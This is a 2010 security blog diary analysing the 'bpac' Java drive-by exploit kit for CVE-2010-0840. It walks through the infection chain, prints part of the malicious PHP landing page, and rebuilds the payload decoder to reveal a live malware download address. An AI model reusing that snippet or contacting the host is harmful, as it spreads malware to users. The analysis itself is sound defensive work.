Threat Level: green Handler on Duty: Manuel Humberto Santander Pelaez

SANS ISC InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Java Exploits

Published: 2010-11-11
Last Updated: 2010-11-11 00:05:00 UTC
by Daniel Wesemann (Version: 1)
12 comment(s)

The recent Java JRE patch bundle released by Oracle contained a long list of security fixes, several of which for vulnerabilities that allow drive-by exploits. And since Java is present on pretty much every Windows PC, and people don't seem to do their Java updates quite as diligently as their Windows patches, there are A LOT of vulnerable PCs out there. Microsoft reported on this a month ago, and called it an "unprecedented wave of Java exploiting".

It doesn't look like the situation has improved since, and the bad guys are taking advantage. Not surprisingly, the FAQ document on "Virus found in my Java Cache Directory" is ranked third most popular of all the issues listed on http://www.java.com/en/download/help/index.xml. The two issues ranked ahead of it are also security concerns.. not a pretty picture for Oracle or Java, I'd say.

Let's take a look at one of the popular exploits that are making the rounds, the "bpac" family. The exploit used is for CVE-2010-0840 (Hashmap), already covered by the Java patch bundle in July, but apparently still successful enough to be used. I guess the bad guys won't start "burning" their newest Java exploits while the old set is still going strong.

The infection usually happens as follows:
(1) User surfs to website that has been injected with the exploit
(2) Exploit pack triggers - it comes as an obfuscated JavaScript that downloads an Applet and a PDF
(3) The applet contains an exploit, here for CVE-2010-0840
(4) The applet is invoked with a parameter that tells it where to find the EXE
(5) If the exploit is successful, the EXE is downloaded and run

The EXEs pack quite a punch - one recent sample submitted contained no less than 66 individual other malicious EXEs. Yes, a user would be bound to notice this deluge of badness, but he still wouldn't stand a chance to ever clean ALL of this crud off the system again.

Looking at the malware in more detail

-rw-r--r-- 1 daniel users 3738 2010-11-08 09:14 euinirascndmiub.jar
-rw-r--r-- 1 daniel users 21009 2010-11-08 09:13 fuiqaubuk7.php
-rw-r--r-- 1 daniel users 6095 2010-11-08 09:14 jmkohwbrbtgsboj.pdf

The PHP file invokes the applet with parameter

daniel@debian:~/malware$ head fuiqaubuk7.php
<body id='jmery7' name='jmery7'><applet code='bpac.a.class' archive="euinirascndmiub.jar"><param value='RSS=,TT$XINOIAX$IOJTG@HTRMDAI=R=' ame="a"/></applet></body><textarea>function goyla(hrcsyoe6){r .....

The JAR file .. is basically a ZIP, so we can unzip it:

daniel@debian:~/malware$ unzip euinirascndmiub.jar
Archive: euinirascndmiub.jar
inflating: META-INF/MANIFEST.MF
inflating: bpac/a$1.class
inflating: bpac/a.class
inflating: bpac/b.class
inflating: bpac/KAVS.class

From the PHP, we know that "a.class" is the code that gets executed. A Java Decompiler like "jad" can be used to convert the java class files back into something readable akin to Java source code:

daniel@debian:~/malware/bpac$ jad *.class
Generating a.jad
Generating b.jad
Generating KAVS.jad
Generating a$1.jad

On inspection, a.jad indeed contains the CVE-2010-0840 exploit, pretty much a carbon copy of the Metasploit original. More interesting is b.jad, because it contains

String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V", "c").replace("D","d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";", etc

which sure looks like a decoding function. It doesn't take much programming to turn this into a Java file of its own with a "print" statement at the end. When we then add the variable that was set when the applet was invoked, we get

public class x
{
public static void main(String[] args)
{
String s = "RSS=,TT$XINOIAX$IOJTG@HTRMDAI=R=";
String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V","c").replace("D", "d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";","i").replace("L", "j").replace("K", "-").replace("U", "k").replace("^", "l").replace("Z", "m").replace("B","n").replace("Q", "o").replace("=", "p").replace("&", "q").replace("M", "r").replace("G", "s").replace("S","t").replace("!", "u").replace("W", "v").replace("%", "w").replace("H", "x").replace("P", "y").replace("?","z").replace("T", "/").replace("I", ".").replace("K", "_").replace("(", "_").replace(",", ":").replace("A","1").replace("N", "2").replace("*", "3").replace("J", "4").replace(")", "5").replace("O", "6").replace("$","7").replace("X", "8").replace("+", "9").replace("E", "0")).append("?i=1").toString();
System.out.println(s1);
}
}

Compile with javac, run with java, and lookie, the system prints:

daniel@debian:~/malware/bpac$ java x
http://78. 26.187. 64/sex/hrd1.php?i=1
(spaces added to keep you from clicking, careful, still live!)

which is where the EXE resides. Virustotal currently has it with 14/43.

Bottom line: If you haven't done so yet, hunt down and patch every incarnation of Java on the PCs that you are responsible for.

Keywords: java
12 comment(s)
Diary Archives